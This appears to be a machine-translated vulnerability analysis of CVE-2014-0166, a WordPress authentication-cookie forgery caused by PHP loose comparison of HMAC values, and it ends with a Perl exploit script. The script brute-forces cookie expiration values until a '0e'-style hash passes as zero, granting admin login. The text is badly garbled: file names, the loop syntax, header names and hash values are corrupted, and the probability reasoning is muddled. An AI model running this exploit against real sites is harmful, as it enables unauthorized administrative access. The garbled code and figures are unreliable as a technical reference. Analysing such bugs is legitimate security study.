0 × 00 Preface
This article analyzes the cookie Forgery Vulnerability (CVE-2014-0166) fixed by wordpress3.8.2 and provides the corresponding exp.
According to the description, WordPress before 3.7.2 and 3.8.x before 3.8.2 are all affected,
Install wordpress 3.8.1 locally for testing.
0 × 01 vulnerability analysis knowledge preparation
Log on to the wordpress background and view the cookie
wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1398748782%7C404207f08e7a5f32dcabad2969d6ee28; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1398748782%7Ca09bad0632c45f7295835bcc22f50ba7; wp-settings-time-1=1398577578
Where
wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1398748782%7C404207f08e7a5f32dcabad2969d6ee28;
Other cookies for cookie authentication are optional,
Analyze the cookie Structure
Specifically, the cookie name wordpress_bbfa5bda-c6b7a9cf3cda9370be3ee91
Is wordpress_md5 (siteurl) siteurl as the wordpress path
C: \ AppServ \ www \ wordpress \ wp-shortdes \ default-constants.php (1 hit) Line 168: define ('cookiehash', md5 ($ siteurl)
3. My siteurl is http: // localhost/wordpress
After Md5, It is bbfa5bda-c6b7a9cf3cda9370be3ee91.
Check the cookie value again.
Admin | 1398748782 | 404207f08e7a5f32dcabad2969d6ee28;
Format: $ username | $ expiration | $ hmac
$ Username: User Name
$ Expiration indicates the cookie validity period.
$ Hamc indicates the hash value that the server assigns to the client after successful login.
The verification process is performed on the wp-nodes des/pluggable. php 543-nodes line.
$key = wp_hash($username . $pass_frag . '|' . $expiration, $scheme);$hash = hash_hmac('md5', $username . '|' . $expiration, $key); if ( $hmac != $hash ) {do_action('auth_cookie_bad_hash', $cookie_elements);return false;}
$ Username, expiration obtained from cookie
Calculate $ key from $ username, $ pass_frag, $ expiration, $ scheme.
Calculate the hash using $ username, $ expiration, and $ key.
If it is consistent with $ hmac in the cookie, log on
To verify whether the above analysis is correct
We changed the above Code
$key = wp_hash($username . $pass_frag . '|' . $expiration, $scheme);$hash = hash_hmac('md5', $username . '|' . $expiration, $key);echo '$username:'.$username."<br>";echo '$pass_frag:'.$pass_frag."<br>";echo '$expiration:'.$expiration."<br>";echo '$scheme:'.$scheme."<br>";echo '$key:'.$key."<br>";echo '$hash:'.$hash."<br>";echo '$hmac:'.$hmac."<br>";exit();if ( $hmac != $hash ) {do_action('auth_cookie_bad_hash', $cookie_elements);return false;}
That is, run to print out all the curious variables.
Output result:
$username:admin$pass_frag:XBxI$expiration:1398748782$scheme:auth$key:1002e6cddd0416ac265378aa4ab111f8$hash:404207f08e7a5f32dcabad2969d6ee28$hmac:404207f08e7a5f32dcabad2969d6ee28
Our analysis is correct!
0x02 vulnerability Principle
Compare the fix code of wordpress3.8.2
$key = wp_hash($username . $pass_frag . '|' . $expiration, $scheme); $hash = hash_hmac('md5', $username . '|' . $expiration, $key); - if ( $hmac != $hash ) { + if ( hash_hmac( 'md5', $hmac, $key ) !== hash_hmac( 'md5', $hash, $key ) ) {
Yes! = Changed! =
This is where the vulnerability is generated.
$ A ==$ B; // Equal TRUE if $ a is equal to $ B. $ a ===$ B; // Identical TRUE if $ a is equal to $ B, and they are of the same type php manual description above
= Non-strict comparison, type conversion and Comparison
= The two variables must be of the same type
<?phpvar_dump(0 == "a"); // 0 == 0 -> truevar_dump("1" == "01"); // 1 == 1 -> truevar_dump("10" == "1e1"); // 10 == 10 -> truevar_dump(100 == "1e2"); // 100 == 100 -> true?>
The preceding example is provided in the Manual.
1e2 is a scientific notation, and = is considered equal to 100 after type conversion.
Go back to wordpress
Wordpress_md5 (siteurl) = $ username | $ expiration | $ hmac
In this authentication cookie, if the value of $ username is fixed and $ hmac is fixed to 0, the value of $ expiration is constantly changed, so that
$ Hash = hash_hmac ('md5', $ username. '|'. $ expiration, $ key );
The value is constantly changing.
Once the value of $ hash changes to 0 represented by scientific notation, such as 0e + 30 digits 0-9, it can be verified.
The 32-bit scientific notation indicates 0, with a total of more:
10 ^ 0 + 10 ^ 1 + ...... 10 ^ 30 Cases
The total number of 32-bit md5 files is:
16 ^ 32 Cases
Therefore, the probability of attack success is:
(10 ^ 0 + 10 ^ 1 + ...... 10 ^ 30)/16 ^ 32
The probability of one thousandth of a million pieces of data is a perfect match.
0x03exp
Based on the above analysis, we can write exp.
Crak. pluse LWP: UserAgent; $ url = "http: // localhost/wordpress"; # the wordpress address to attack $ sitehash = "bbfa5b450c6b7a9cf3cda9370be3ee91 "; # $ url md5 value for ($ I = 10000000000; $ I ++) # $ expiration {my $ ua = LWP: UserAgent-> new; my $ req = HTTP: Request-> new ('get' => $ url. "/wp-admin/"); $ req-> header ('cookier' => "wordpress _". $ sitehash. "= admin % 7c ". $ I. "% 7c0;"); # Set the cookie to what we want my $ res = $ ua-> request ($ req); print "wordpress _". $ sitehash. "= admin % 7c ". $ I. "% 7c0 ". "\ n"; # print the cookie value to see print $ I. "\ t"; print $ url. "/wp-admin /". "\ n"; print $ res-> status_line. "\ n"; if (index ($ res-> content, "Hello, admin")> 0) records the result.html file {open (SH, "> d: /result.html "); print SH ($ I. "\ n ");}}